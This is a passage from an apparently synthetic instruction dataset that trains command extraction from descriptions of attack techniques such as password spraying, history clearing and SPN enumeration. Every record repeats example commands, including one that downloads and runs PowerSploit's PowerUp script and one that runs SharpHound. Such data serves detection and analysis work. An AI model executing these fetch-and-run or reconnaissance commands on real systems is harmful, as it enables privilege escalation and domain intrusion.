[
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    svchost.exe writing a non-Microsoft Office file to a file with a UNC path.\nUpon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\\`, then execute svchost.exe with output to a txt file.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    ransomware payloads via virtual machines (VM). \n[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Access the Kubernetes service account access token stored within a container in a cluster.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.\nThis atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\\users.txt list. Any successful authentications will be printed to the screen with a message like \"[*] username:password\", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.\nUse the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.\nSee the \"Windows FOR Loop Password Spraying Made Easy\" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Clears bash history via a symlink to /dev/null\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output the SPNs for the domain in question.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Create a simple VirtualBox VM and start up the machine\nCleanup command stops and deletes the newly created VM and associated files\nhttps://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm\nhttps://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/\nhttps://attack.mitre.org/techniques/T1564/006/\n",
    "output": "{\"command_list\": []}"
  },
  {
